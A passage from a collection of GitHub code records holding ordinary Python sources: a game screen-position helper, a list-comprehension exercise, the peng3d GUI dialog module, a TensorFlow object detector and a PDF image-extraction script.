4.2\r\n# 绘制\r\ndef draw(Data): # type(Data) = \r\n G = to_networkx(Data)\r\n nx.draw(G)\r\n plt.show()\r\n","repo_name":"Novmaple/GNN-Facade","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10057954206","text":"from airtest.core.api import *\r\nfrom airtest.aircv import *\r\nfrom pywinauto import*\r\nfrom tkinter import *\r\nimport win32api,win32gui,win32con\r\n\r\ndef preprocessImg(image):\r\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)[1]\r\n return thresh\r\nstate_release=0x00\r\nprestate=win32api.GetKeyState(0x01)\r\ntk=Tk()\r\nhwnd=findwindows.find_windows(title_re=\"Yu-Gi-Oh! DUEL LINKS\")[0]\r\ndev=init_device(platform=\"Windows\",uuid=hwnd)\r\nwin32gui.ShowWindow(hwnd, win32con.SW_MINIMIZE)\r\nwin32gui.ShowWindow(hwnd, win32con.SW_RESTORE)\r\ndev_pos=dev.get_pos()\r\ntk.attributes(\"-alpha\", 0.3)\r\ntk.attributes(\"-topmost\", True)\r\ntk.geometry(\"1664x936\"+\"+\"+str(dev_pos[0])+\"+\"+str(dev_pos[1]))\r\nwhile True:\r\n tk.update_idletasks()\r\n tk.update()\r\n state=win32api.GetKeyState(0x01)\r\n if state!=state_release:\r\n if state < 0 and state!=prestate:\r\n cursor_pos=win32api.GetCursorPos()\r\n print(cursor_pos[0]-dev_pos[0],cursor_pos[1]-dev_pos[1])\r\n tk.destroy()\r\n break\r\n prestate=state\r\n time.sleep(0.01)","repo_name":"Obr00007576/YGOScript","sub_path":"YGOScript/ScriptToolPointPosition.py","file_name":"ScriptToolPointPosition.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"484427063","text":"# Definimos una lista\r\nenteros = [1, 2, 3, 4, 5]\r\n\r\n# Definimos una lista por comprensión\r\nenteros_mas_uno = [numero + 1 for numero in enteros]\r\n\r\nprint(enteros_mas_uno)\r\n\r\n#en un listado por comprension podemos sumar dos variable e iterarlas en un ciclo for, en una linea\r\n#esta es la sintaxis de un comando de lista por comprension con ciclo for\r\n#[**expresión** for **elemento** in **iterable**]\r\n\r\n# definimos una lista\r\nenteros = [1, 2, 3, 4, 5]\r\n\r\n# definimos una lista por comprensión en la cual estamos agrgando un condicional if, para filtrar la operacion\r\n#[**expresión** for **elemento** in **iterable** [if **condición]]\r\n\r\nenteros_mas_uno = [numero + 1 for numero in enteros if numero > 3]\r\n\r\nprint(enteros_mas_uno)\r\n#---------------------------------------- ejercicios\r\n\r\n\r\n","repo_name":"chulth/Excercises","sub_path":"Pro_py/ejercicios/BD/lista_por_compresion.py","file_name":"lista_por_compresion.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11472455729","text":"__all__ = [\n \"DialogSubMenu\",\n \"ConfirmSubMenu\",\n \"TextSubMenu\",\n \"ProgressSubMenu\",\n \"AdvancedProgressSubMenu\",\n]\n\nimport pyglet\n\nfrom . import SubMenu\nfrom . import text\nfrom . import button\nfrom . import slider\n\n\nclass DialogSubMenu(SubMenu):\n \"\"\"\n Base Dialog Class.\n\n This class acts as a base class for all other dialog submenus.\n\n When the dialog is entered, the :py:attr:`prev_submenu` attribute will be set\n to the name of the previous submenu. This attribute is later used when exiting\n the dialog.\n\n Dialog submenus also support the basic actions used by all submenus, e.g.\n ``enter`` and ``exit``\\\\ . Additionally, many dialogs also add actions for whenever\n a label is changed or the dialog is exited through a special means, e.g. pressing\n a specific button of multiple presented.\n\n If used by itself, it will display a text centered on the screen with a button\n below it. Clicking the button will cause the dialog to exit and also the\n additional ``click_ok`` action to be fired.\n\n The labels supported by default are ``label_main``\\\\ , which defaults to ``Default Text``\n and is recommended to always be customized, and ``label_ok``\\\\ , which defaults to ``OK``\n and may be left as-is.\n\n Subclasses may override these defaults by setting the keys of the same name in the\n ``DEFAULT_LABELS`` class attribute. Note that any unchanged labels must also be declared\n when overwriting any labels, or they may not be displayed.\n\n Widgets and their initializers are stored in the :py:data:`WIDGETS` class attribute,\n see :py:meth:`add_widgets()` for more information.\n \"\"\"\n\n DEFAULT_LABELS = {\n \"label_main\": \"Default Text\",\n \"label_ok\": \"OK\",\n }\n WIDGETS = {\n \"label_main\": \"add_label_main\",\n \"label_ok\": \"add_btn_ok\",\n }\n\n def __init__(\n self,\n name,\n menu,\n window=None,\n peng=None,\n borderstyle=None,\n font_size=None,\n font=None,\n font_color=None,\n multiline=False,\n **kwargs # for label_main etc.\n ):\n super(DialogSubMenu, self).__init__(name, menu, window, peng)\n\n self.style.override_if_not_none(\"font\", font)\n self.style.override_if_not_none(\"font_size\", font_size)\n self.style.override_if_not_none(\"font_color\", font_color)\n self.style.override_if_not_none(\"borderstyle\", borderstyle)\n\n self.multiline = multiline\n\n self.prev_submenu = None\n\n labels = {}\n labels.update(self.DEFAULT_LABELS)\n labels.update(kwargs)\n self.labels = kwargs\n self.kwargs = kwargs\n\n self.add_widgets(**labels)\n\n def add_widgets(self, **kwargs):\n \"\"\"\n Called by the initializer to add all widgets.\n\n Widgets are discovered by searching through the :py:attr:`WIDGETS` class attribute.\n If a key in :py:attr:`WIDGETS` is also found in the keyword arguments and\n not none, the function with the name given in the value of the key will\n be called with its only argument being the value of the keyword argument.\n\n For more complex usage scenarios, it is also possible to override this method\n in a subclass, but the original method should always be called to ensure\n compatibility with classes relying on this feature.\n \"\"\"\n for name, fname in self.WIDGETS.items():\n if name in kwargs and kwargs[name] is not None:\n assert hasattr(self, fname)\n assert callable(getattr(self, fname))\n getattr(self, fname)(kwargs[name])\n\n def add_label_main(self, label_main):\n \"\"\"\n Adds the main label of the dialog.\n\n This widget can be triggered by setting the label ``label_main`` to a string.\n\n This widget will be centered on the screen.\n \"\"\"\n # Main Label\n self.wlabel_main = text.Label(\n \"label_main\",\n self,\n pos=lambda sw, sh, bw, bh: (sw / 2 - bw / 2, sh / 2 - bh / 2),\n size=[0, 0],\n label=label_main,\n font=self.font,\n font_size=self.font_size,\n font_color=self.font_color,\n multiline=self.multiline,\n )\n self.wlabel_main.size = lambda sw, sh: (sw, self.wlabel_main._label.font_size)\n\n def add_btn_ok(self, label_ok):\n \"\"\"\n Adds an OK button to allow the user to exit the dialog.\n\n This widget can be triggered by setting the label ``label_ok`` to a string.\n\n This widget will be mostly centered on the screen, but below the main label\n by the double of its height.\n \"\"\"\n # OK Button\n self.wbtn_ok = button.Button(\n \"btn_ok\",\n self,\n pos=lambda sw, sh, bw, bh: (sw / 2 - bw / 2, sh / 2 - bh / 2 - bh * 2),\n size=[0, 0],\n label=label_ok,\n borderstyle=self.borderstyle,\n font=self.font,\n font_size=self.font_size,\n font_color=self.font_color,\n )\n self.wbtn_ok.size = lambda sw, sh: (\n self.wbtn_ok._label.font_size * 8,\n self.wbtn_ok._label.font_size * 2,\n )\n\n def f():\n self.doAction(\"click_ok\")\n self.exitDialog()\n\n self.wbtn_ok.addAction(\"click\", f)\n\n @property\n def label_main(self):\n \"\"\"\n Property that proxies the ``label_main`` label.\n\n Setting this property will cause the ``label_main_change`` action to trigger.\n\n Note that trying to access this property if the widget is not used may cause\n an error.\n \"\"\"\n # no check for initialized label, NameError should be good enough to debug\n return self.wlabel_main.label\n\n @label_main.setter\n def label_main(self, value):\n self.wlabel_main.label = value\n self.doAction(\"label_main_change\")\n\n @property\n def label_ok(self):\n \"\"\"\n Property that proxies the ``label_ok`` label.\n\n Setting this property will cause the ``label_ok_change`` action to trigger.\n\n Note that trying to access this property if the widget is not used may cause\n an error.\n \"\"\"\n return self.wbtn_ok.label\n\n @label_ok.setter\n def label_ok(self, value):\n self.wbtn_ok.label = value\n self.doAction(\"label_ok_change\")\n\n def on_enter(self, old):\n if self.menu.activeSubMenu == self.menu:\n raise RuntimeError(\"Cannot open a dialog twice\")\n self.prev_submenu = old # name or None\n\n def exitDialog(self):\n \"\"\"\n Helper method that exits the dialog.\n\n This method will cause the previously active submenu to activate.\n \"\"\"\n if self.prev_submenu is not None:\n # change back to the previous submenu\n # could in theory form a stack if one dialog opens another\n self.menu.changeSubMenu(self.prev_submenu)\n self.prev_submenu = None\n\n def activate(self):\n \"\"\"\n Helper method to enter the dialog.\n\n Calling this method will simply cause the dialog to become the active submenu.\n\n Note that is not necessary to call this method over :py:meth:`changeSubMenu()`\\\\ ,\n as the storing of the previous submenu is done elsewhere.\n \"\"\"\n # error checking done indirectly by on_enter\n # on_enter will be called automatically to store previous submenu\n self.menu.changeSubMenu(self.name)\n\n\nclass ConfirmSubMenu(DialogSubMenu):\n \"\"\"\n Dialog that allows the user to confirm or cancel an action.\n\n By default, the OK button will be hidden and the ``label_main`` will be set\n to ``Are you sure?``\\\\ .\n\n Clicking the confirm button will cause the ``confirm`` action to trigger, while\n the cancel button will cause the ``cancel`` action to trigger.\n \"\"\"\n\n DEFAULT_LABELS = {\n \"label_main\": \"Are you sure?\",\n \"label_confirm\": \"Confirm\",\n \"label_cancel\": \"Cancel\",\n }\n WIDGETS = {\n **DialogSubMenu.WIDGETS,\n \"label_confirm\": \"add_btn_confirm\",\n \"label_cancel\": \"add_btn_cancel\",\n }\n\n def add_btn_confirm(self, label_confirm):\n \"\"\"\n Adds a confirm button to let the user confirm whatever action they were presented with.\n\n This widget can be triggered by setting the label ``label_confirm`` to a string.\n\n This widget will be positioned slightly below the main label and to the left\n of the cancel button.\n \"\"\"\n # Confirm Button\n self.wbtn_confirm = button.Button(\n \"btn_confirm\",\n self,\n pos=lambda sw, sh, bw, bh: (sw / 2 - bw - 4, sh / 2 - bh / 2 - bh * 2),\n size=[0, 0],\n label=label_confirm,\n borderstyle=self.borderstyle,\n font=self.font,\n font_size=self.font_size,\n font_color=self.font_color,\n )\n self.wbtn_confirm.size = lambda sw, sh: (\n self.wbtn_confirm._label.font_size * 8,\n self.wbtn_confirm._label.font_size * 2,\n )\n\n def f():\n self.doAction(\"confirm\")\n self.exitDialog()\n\n self.wbtn_confirm.addAction(\"click\", f)\n\n def add_btn_cancel(self, label_cancel):\n \"\"\"\n Adds a cancel button to let the user cancel whatever choice they were given.\n\n This widget can be triggered by setting the label ``label_cancel`` to a string.\n\n This widget will be positioned slightly below the main label and to the right\n of the confirm button.\n \"\"\"\n # Cancel Button\n self.wbtn_cancel = button.Button(\n \"btn_cancel\",\n self,\n pos=lambda sw, sh, bw, bh: (sw / 2 + 4, sh / 2 - bh / 2 - bh * 2),\n size=[0, 0],\n label=label_cancel,\n borderstyle=self.borderstyle,\n font=self.font,\n font_size=self.font_size,\n font_color=self.font_color,\n )\n self.wbtn_cancel.size = lambda sw, sh: (\n self.wbtn_cancel._label.font_size * 8,\n self.wbtn_cancel._label.font_size * 2,\n )\n\n def f():\n self.doAction(\"cancel\")\n self.exitDialog()\n\n self.wbtn_cancel.addAction(\"click\", f)\n\n @property\n def label_confirm(self):\n \"\"\"\n Property that proxies the ``label_confirm`` label.\n\n Setting this property will cause the ``label_confirm_change`` action to trigger.\n\n Note that trying to access this property if the widget is not used may cause\n an error.\n \"\"\"\n return self.wbtn_confirm.label\n\n @label_confirm.setter\n def label_confirm(self, value):\n self.wbtn_confirm.label = value\n self.doAction(\"label_confirm_change\")\n\n @property\n def label_cancel(self):\n \"\"\"\n Property that proxies the ``label_cancel`` label.\n\n Setting this property will cause the ``label_cancel_change`` action to trigger.\n\n Note that trying to access this property if the widget is not used may cause\n an error.\n \"\"\"\n return self.wbtn_cancel.label\n\n @label_cancel.setter\n def label_cancel(self, value):\n self.wbtn_cancel.label = value\n self.doAction(\"label_cancel_change\")\n\n\nclass TextSubMenu(DialogSubMenu):\n \"\"\"\n Dialog without user interaction that can automatically exit after a certain amount of time.\n\n This dialog accepts the ``timeout`` keyword argument, which may be set to any\n time in seconds to delay before exiting the dialog. A value of ``-1`` will cause\n the dialog to never exit on its own.\n\n Note that the user will not be able to exit this dialog and may believe the program\n is hanging if not assured otherwise. It is thus recommended to use the :py:class:`ProgressSubMenu`\n dialog instead, especially for long-running operations.\n \"\"\"\n\n DEFAULT_LABELS = {\n \"label_main\": \"Default Text\",\n # no button needed, timer does the rest\n }\n\n def __init__(self, name, menu, window, peng, timeout=10, **kwargs):\n super(TextSubMenu, self).__init__(name, menu, window, peng, **kwargs)\n self.timeout = timeout\n\n def on_enter(self, old):\n super(TextSubMenu, self).on_enter(old)\n\n if self.timeout != -1:\n pyglet.clock.schedule_once(lambda dt: self.exitDialog(), self.timeout)\n\n\nclass ProgressSubMenu(DialogSubMenu):\n \"\"\"\n Dialog without user interaction displaying a progressbar.\n\n By default, the progressbar will range from 0-100, effectively a percentage.\n\n The :py:attr:`auto_exit` attribute may be set to control whether or not the dialog\n will exit automatically when the maximum value is reached.\n \"\"\"\n\n DEFAULT_LABELS = {\n \"label_main\": \"Loading...\",\n \"label_progressbar\": \"{percent:.1}%\",\n # TODO: actually implement the progress_* labels\n \"progress_n\": 0, # should be updated on-the-fly through property progress_n\n \"progress_nmin\": 0,\n \"progress_nmax\": 100, # basically equal to percentages\n }\n WIDGETS = {\n **DialogSubMenu.WIDGETS,\n \"label_progressbar\": \"add_progressbar\",\n }\n auto_exit = False\n \"\"\"\n Controls whether or not the dialog will exit automatically after the maximum\n value has been reached.\n \"\"\"\n\n def add_progressbar(self, label_progressbar):\n \"\"\"\n Adds a progressbar and label displaying the progress within a certain task.\n\n This widget can be triggered by setting the label ``label_progressbar`` to\n a string.\n\n The progressbar will be displayed centered and below the main label.\n The progress label will be displayed within the progressbar.\n\n The label of the progressbar may be a string containing formatting codes\n which will be resolved via the ``format()`` method.\n\n Currently, there are six keys available:\n\n ``n`` and ``value`` are the current progress rounded to 4 decimal places.\n\n ``nmin`` is the minimum progress value rounded to 4 decimal places.\n\n ``nmax`` is the maximum progress value rounded to 4 decimal places.\n\n ``p`` and ``percent`` are the percentage value that the progressbar is completed\n rounded to 4 decimal places.\n\n By default, the progressbar label will be ``{percent}%`` displaying the percentage\n the progressbar is complete.\n \"\"\"\n # Progressbar\n self.wprogressbar = slider.Progressbar(\n \"progressbar\",\n self,\n pos=lambda sw, sh, bw, bh: (\n sw / 2 - bw / 2,\n self.wlabel_main.pos[1] - bh * 1.5,\n ),\n size=[0, 0],\n # label=label_progressbar # TODO: add label\n borderstyle=self.borderstyle,\n )\n\n # Progress Label\n self.wprogresslabel = text.Label(\n \"progresslabel\",\n self,\n pos=lambda sw, sh, bw, bh: (sw / 2 - bw / 2, self.wprogressbar.pos[1] + 8),\n size=[0, 0],\n label=\"\", # set by update_progressbar()\n font=self.font,\n font_size=self.font_size,\n font_color=self.font_color,\n )\n self.wprogresslabel.size = lambda sw, sh: (\n sw,\n self.wprogresslabel._label.font_size,\n )\n\n self.wprogressbar.size = lambda sw, sh: (\n sw * 0.8,\n self.wprogresslabel._label.font_size + 10,\n )\n\n self._label_progressbar = label_progressbar\n\n if getattr(label_progressbar, \"_dynamic\", False):\n\n def f():\n self.label_progressbar = str(label_progressbar)\n\n self.peng.i18n.addAction(\"setlang\", f)\n\n self.wprogressbar.addAction(\"progresschange\", self.update_progressbar)\n\n self.update_progressbar()\n\n def update_progressbar(self):\n \"\"\"\n Updates the progressbar by re-calculating the label.\n\n It is not required to manually call this method since setting any of the\n properties of this class will automatically trigger a re-calculation.\n \"\"\"\n n, nmin, nmax = (\n self.wprogressbar.n,\n self.wprogressbar.nmin,\n self.wprogressbar.nmax,\n )\n if (nmax - nmin) == 0:\n percent = 0 # prevents ZeroDivisionError\n else:\n percent = max(min((n - nmin) / (nmax - nmin), 1.0), 0.0) * 100\n dat = {\n \"value\": round(n, 4),\n \"n\": round(n, 4),\n \"nmin\": round(nmin, 4),\n \"nmax\": round(nmax, 4),\n \"percent\": round(percent, 4),\n \"p\": round(percent, 4),\n }\n txt = self._label_progressbar.format(**dat)\n self.wprogresslabel.label = txt\n\n @property\n def progress_n(self):\n \"\"\"\n Property that proxies the ``progress_n`` label.\n\n Setting this property will cause the progressbar label to be recalculated.\n\n Additionally, if the supplied value is higher than the maximum value and\n :py:attr:`auto_exit` is true, the dialog will exit.\n \"\"\"\n return self.wprogressbar.n\n\n @progress_n.setter\n def progress_n(self, value):\n self.wprogressbar.n = value\n self.update_progressbar()\n if self.auto_exit:\n if self.wprogressbar.n >= self.wprogressbar.nmax:\n self.exitDialog()\n\n @property\n def progress_nmin(self):\n \"\"\"\n Property that proxies the ``progress_nmin`` label.\n\n Setting this property will cause the progressbar label to be recalculated.\n\n Note that setting this property if the widget has not been initialized may\n cause various errors to occur.\n \"\"\"\n return self.wprogressbar.nmin\n\n @progress_nmin.setter\n def progress_nmin(self, value):\n self.wprogressbar.nmin = value\n self.update_progressbar()\n\n @property\n def progress_nmax(self):\n \"\"\"\n Property that proxies the ``progress_nmax`` label.\n\n Setting this property will cause the progressbar label to be recalculated.\n\n Note that setting this property if the widget has not been initialized may\n cause various errors to occur.\n \"\"\"\n return self.wprogressbar.nmax\n\n @progress_nmax.setter\n def progress_nmax(self, value):\n self.wprogressbar.nmax = value\n self.update_progressbar()\n\n @property\n def label_progressbar(self):\n \"\"\"\n Property that proxies the ``label_progressbar`` label.\n\n Setting this property will cause the progressbar label to be recalculated.\n\n Note that setting this property if the widget has not been initialized may\n cause various errors to occur.\n \"\"\"\n return self.wprogresslabel.label\n\n @label_progressbar.setter\n def label_progressbar(self, value):\n self._label_progressbar = value\n self.update_progressbar()\n\n\nclass AdvancedProgressSubMenu(ProgressSubMenu):\n def add_progressbar(self, label_progressbar):\n \"\"\"\n Adds a progressbar and label displaying the progress within a certain task.\n\n This widget can be triggered by setting the label ``label_progressbar`` to\n a string.\n\n The progressbar will be displayed centered and below the main label.\n The progress label will be displayed within the progressbar.\n\n The label of the progressbar may be a string containing formatting codes\n which will be resolved via the ``format()`` method.\n\n Currently, there are six keys available:\n\n ``n`` and ``value`` are the current progress rounded to 4 decimal places.\n\n ``nmin`` is the minimum progress value rounded to 4 decimal places.\n\n ``nmax`` is the maximum progress value rounded to 4 decimal places.\n\n ``p`` and ``percent`` are the percentage value that the progressbar is completed\n rounded to 4 decimal places.\n\n By default, the progressbar label will be ``{percent}%`` displaying the percentage\n the progressbar is complete.\n \"\"\"\n # Progressbar\n self.wprogressbar = slider.AdvancedProgressbar(\n \"progressbar\",\n self,\n pos=lambda sw, sh, bw, bh: (\n sw / 2 - bw / 2,\n self.wlabel_main.pos[1] - bh * 1.5,\n ),\n size=[0, 0],\n # label=label_progressbar # TODO: add label\n borderstyle=self.borderstyle,\n )\n\n # Progress Label\n self.wprogresslabel = text.Label(\n \"progresslabel\",\n self,\n pos=lambda sw, sh, bw, bh: (sw / 2 - bw / 2, self.wprogressbar.pos[1] + 8),\n size=[0, 0],\n label=\"\", # set by update_progressbar()\n font=self.font,\n font_size=self.font_size,\n font_color=self.font_color,\n )\n self.wprogresslabel.size = lambda sw, sh: (\n sw,\n self.wprogresslabel._label.font_size,\n )\n\n self.wprogressbar.size = lambda sw, sh: (\n sw * 0.8,\n self.wprogresslabel._label.font_size + 10,\n )\n\n self._label_progressbar = label_progressbar\n\n if getattr(label_progressbar, \"_dynamic\", False):\n\n def f():\n self.label_progressbar = str(label_progressbar)\n\n self.peng.i18n.addAction(\"setlang\", f)\n\n self.wprogressbar.addAction(\"progresschange\", self.update_progressbar)\n\n self.update_progressbar()\n\n def addCategory(self, *args, **kwargs):\n \"\"\"\n Proxy for :py:meth:`~peng3d.gui.slider.AdvancedProgressbar.addCategory()`\\\\ .\n \"\"\"\n return self.wprogressbar.addCategory(*args, **kwargs)\n\n def updateCategory(self, *args, **kwargs):\n \"\"\"\n Proxy for :py:meth:`~peng3d.gui.slider.AdvancedProgressbar.updateCategory()`\\\\ .\n \"\"\"\n return self.wprogressbar.updateCategory(*args, **kwargs)\n\n def deleteCategory(self, *args, **kwargs):\n \"\"\"\n Proxy for :py:meth:`~peng3d.gui.slider.AdvancedProgressbar.deleteCategory()`\\\\ .\n \"\"\"\n return self.wprogressbar.deleteCategory(*args, **kwargs)\n","repo_name":"not-na/peng3d","sub_path":"peng3d/gui/menus.py","file_name":"menus.py","file_ext":"py","file_size_in_byte":22235,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"12186572807","text":"import random\n\nimport numpy as np\nimport os\nimport six.moves.urllib as urllib\nimport sys\nimport tarfile\nimport tensorflow.compat.v1 as tf\n\nfrom make_detection.utils import create_category_index_from_labelmap, \\\n reframe_box_masks_to_image_masks\nfrom make_detection.visualization_utils import visualize_boxes_and_labels_on_image_array\n\ntf.disable_v2_behavior()\nimport zipfile\n\nfrom distutils.version import StrictVersion\nfrom collections import defaultdict\nfrom io import StringIO\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\n# What model to download.\n\nMODEL_NAME = 'ssd_inception_v2_coco_2018_01_28'\nMODEL_FILE = MODEL_NAME + '.tar.gz'\nDOWNLOAD_BASE = 'http://download.tensorflow.org/models/object_detection/'\n\n\nIMAGE_SIZE = (12, 8)\n\n\n\nclass ObjectDetector:\n\n def __init__(self, PATH_TO_FROZEN_GRAPH, PATH_TO_LABELS):\n # download model\n \"\"\"opener = urllib.request.URLopener()\n print(\"Downloading model file\")\n opener.retrieve(DOWNLOAD_BASE + MODEL_FILE, MODEL_FILE)\n tar_file = tarfile.open(MODEL_FILE)\n\n print(\"Extracting model into frozen interference graph\")\n for file in tar_file.getmembers():\n file_name = os.path.basename(file.name)\n if 'frozen_inference_graph.pb' in file_name:\n tar_file.extract(file, os.getcwd())\n \"\"\"\n self.detection_graph = tf.Graph()\n with self.detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_FROZEN_GRAPH, 'rb') as fid:\n s = fid.size()\n self.serialized_graph = fid.read()\n od_graph_def.ParseFromString(self.serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n self.category_index = create_category_index_from_labelmap(PATH_TO_LABELS)\n\n def load_image_into_numpy_array(self, image):\n (im_width, im_height) = image.size\n return np.array(image.getdata()).reshape(\n (im_height, im_width, 3)).astype(np.uint8)\n\n def run_inference_for_single_image(self, image):\n with self.detection_graph.as_default():\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n with tf.Session(config=config) as sess:\n # Get handles to input and output tensors\n ops = tf.get_default_graph().get_operations()\n all_tensor_names = {output.name for op in ops for output in op.outputs}\n tensor_dict = {}\n for key in [\n 'num_detections', 'detection_boxes', 'detection_scores',\n 'detection_classes', 'detection_masks'\n ]:\n tensor_name = key + ':0'\n if tensor_name in all_tensor_names:\n tensor_dict[key] = tf.get_default_graph().get_tensor_by_name(\n tensor_name)\n if 'detection_masks' in tensor_dict:\n # The following processing is only for single image\n detection_boxes = tf.squeeze(tensor_dict['detection_boxes'], [0])\n detection_masks = tf.squeeze(tensor_dict['detection_masks'], [0])\n # Reframe is required to translate mask from box coordinates to image coordinates and fit the image size.\n real_num_detection = tf.cast(tensor_dict['num_detections'][0], tf.int32)\n detection_boxes = tf.slice(detection_boxes, [0, 0], [real_num_detection, -1])\n detection_masks = tf.slice(detection_masks, [0, 0, 0], [real_num_detection, -1, -1])\n detection_masks_reframed = reframe_box_masks_to_image_masks(\n detection_masks, detection_boxes, image.shape[1], image.shape[2])\n detection_masks_reframed = tf.cast(\n tf.greater(detection_masks_reframed, 0.5), tf.uint8)\n # Follow the convention by adding back the batch dimension\n tensor_dict['detection_masks'] = tf.expand_dims(\n detection_masks_reframed, 0)\n image_tensor = tf.get_default_graph().get_tensor_by_name('image_tensor:0')\n\n # Run inference\n output_dict = sess.run(tensor_dict,\n feed_dict={image_tensor: image})\n\n # all outputs are float32 numpy arrays, so convert types as appropriate\n output_dict['num_detections'] = int(output_dict['num_detections'][0])\n output_dict['detection_classes'] = output_dict[\n 'detection_classes'][0].astype(np.int64)\n output_dict['detection_boxes'] = output_dict['detection_boxes'][0]\n output_dict['detection_scores'] = output_dict['detection_scores'][0]\n if 'detection_masks' in output_dict:\n output_dict['detection_masks'] = output_dict['detection_masks'][0]\n return output_dict\n\n def read_image_and_run_object_detection(self, image):\n # image = Image.open(image)\n # the array based representation of the image will be used later in order to prepare the\n # result image with boxes and labels on it.\n image = self.load_image_into_numpy_array(image)\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image = np.expand_dims(image, axis=0)\n # Actual detection.\n output_dict = self.run_inference_for_single_image(image)\n return output_dict, image\n\n def get_category_info(self, object_detection_dict, max_boxes_to_draw=20,\n min_score_thresh=.5):\n boxes = object_detection_dict['detection_boxes']\n classes =object_detection_dict['detection_classes']\n scores =object_detection_dict['detection_scores']\n category_index = self.category_index\n result = []\n for i in range(min(max_boxes_to_draw, boxes.shape[0])):\n if scores is None or scores[i] > min_score_thresh:\n if classes[i] in category_index.keys():\n result.append((category_index[classes[i]]['name'], scores[i]))\n return result\n\n def visualize_object_detection(self, object_detection_dict, image_np):\n visualize_boxes_and_labels_on_image_array(\n image_np,\n object_detection_dict['detection_boxes'],\n object_detection_dict['detection_classes'],\n object_detection_dict['detection_scores'],\n self.category_index,\n instance_masks=object_detection_dict.get('detection_masks'),\n use_normalized_coordinates=True,\n line_thickness=8)\n plt.figure(figsize=IMAGE_SIZE)\n plt.imshow(image_np)\n plt.show()\n\nif __name__ == '__main__':\n PATH_TO_FROZEN_GRAPH = \"model/fine_tuned_model/frozen_inference_graph.pb\"\n PATH_TO_LABELS = \"annotations/label_map.pbtxt\"\n obj = ObjectDetector(PATH_TO_FROZEN_GRAPH, PATH_TO_LABELS)\n image = Image.open(\"../audi_test.jpg\")\n object_detection_result, image_np = obj.read_image_and_run_object_detection(image)\n obj.visualize_object_detection(object_detection_result, image_np)","repo_name":"banda13/Carrecognizer","sub_path":"classifiers/pipline/make_detection/object_detector.py","file_name":"object_detector.py","file_ext":"py","file_size_in_byte":7235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15383584001","text":"from tqdm import tqdm\nimport fitz # PyMuPDF\nimport io\nfrom PIL import Image\nimport os\nimport cv2\nimport numpy as np\nfrom multiprocessing import Process, Manager\nfrom multiprocessing import Pool\nfrom functools import partial\nimport subprocess\nfrom os import listdir\nfrom os.path import isfile, join\nfrom tqdm import tqdm\n\n\ndef check_and_inv(file_path):\n\n\t# Reading an image in default mode:\n\tinputImage = cv2.imread(file_path)\n\t\n\t# Convert RGB to grayscale:\n\toriginalGrayscale = cv2.cvtColor(inputImage, cv2.COLOR_BGR2GRAY)\n\t\n\t# Equalize histogram\n\tgrayscaleImage = cv2.equalizeHist(originalGrayscale)\n\t\n\t# It might be interesting to you to check out the image equalization:\n\tcv2.waitKey(0)\n\t\n\t# Binarize the image with a fixed threshold:\n\tminThresh = 128\n\t_, binaryImage = cv2.threshold(grayscaleImage, minThresh, 255, cv2.THRESH_BINARY)\n\t\n\t# Compute the percent of white pixels:\n\t(imageHeight, imageWidth) = binaryImage .shape[:2]\n\twhitePercent = cv2.countNonZero(binaryImage)/(imageHeight * imageWidth)\n\n\tif whitePercent < 0.2:\n\t\t#print(\"Correcting images...\")\n\t\n\t\t# Correct the equalized image:\n\t\tgrayscaleImage = 255 - grayscaleImage\n\t\tcv2.imwrite(file_path, grayscaleImage )\n\n\ndef image_extraction(database_path,result_folder,output_list,file_list,index):\n\t# get the file path\n\tfile_name=file_list[index]\n\tfile_path=database_path+'/'+file_name\n\t# make a folder to store result\n\tarticle_DOI=file_name.replace('.pdf','')\n\twith fitz.open(file_path) as my_pdf_file:\n\t\t#loop through every page\n\t\tcount=0\n\t\tfor page_number in range(0, len(my_pdf_file)):\n\t\n\t\t\t# acess individual page\n\t\t\tpage = my_pdf_file[page_number]\n\t\n\t\n\t\t\t# check if images are there\n\t\t\t#$if images:\n\t\t\t#\tprint(f\"There are {len(images)} image/s on page number {page_number}[+]\")\n\t\t\t#else:\n\t\t\t#\tprint(f\"There are No image/s on page number {page_number}[!]\")\n\t\n\t\t\t# loop through all images present in the page \n\t\t\tfor image_number, image in enumerate(page.get_images(), start=0):\n\t\n\t\t\t\t#access image xerf\n\t\t\t\txref_value = image[0]\n\t\t\t\t\n\t\t\t\t#extract image information\n\t\t\t\tbase_image = my_pdf_file.extract_image(xref_value)\n\t\n\t\t\t\t# access the image itself\n\t\t\t\timage_bytes = base_image[\"image\"]\n\t\n\t\t\t\t#get image extension\n\t\t\t\text = base_image[\"ext\"]\n\t\n\t\t\t\t#load image\n\t\t\t\timage = Image.open(io.BytesIO(image_bytes))\n\t\n\t\t\t\t#save image locally\n\t\t\t\tcount+=1\n\t\t\t\tout_im_path=f\"{result_folder}/{article_DOI}_{count}.{ext}\"\n\t\t\t\timage.save(open(out_im_path, \"wb\"))\n\t\t\t\tcheck_and_inv(out_im_path)\n\toutput_list.append('.')\n\tprint(len(output_list))\n# file path you want to extract images from\n#file_name = \"0-0040403996013020.pdf\"\nif __name__=='__main__':\n\t\n\t\n\n\t#cwd = os.getcwd()\n\t\n\t#database_path='D:/DATACHEM/co_activation_database'\n\t#database_path='D:/DATACHEM/picture_extraction/broken pdf'\n\t\n\tdatabase_path='PDF_folders'\n\tfile_list = [f for f in listdir(database_path) if isfile(join(database_path, f))]\n\t\n\n\t#out_path='pictures from pdf'\n\t#out_path='broken pdf figure 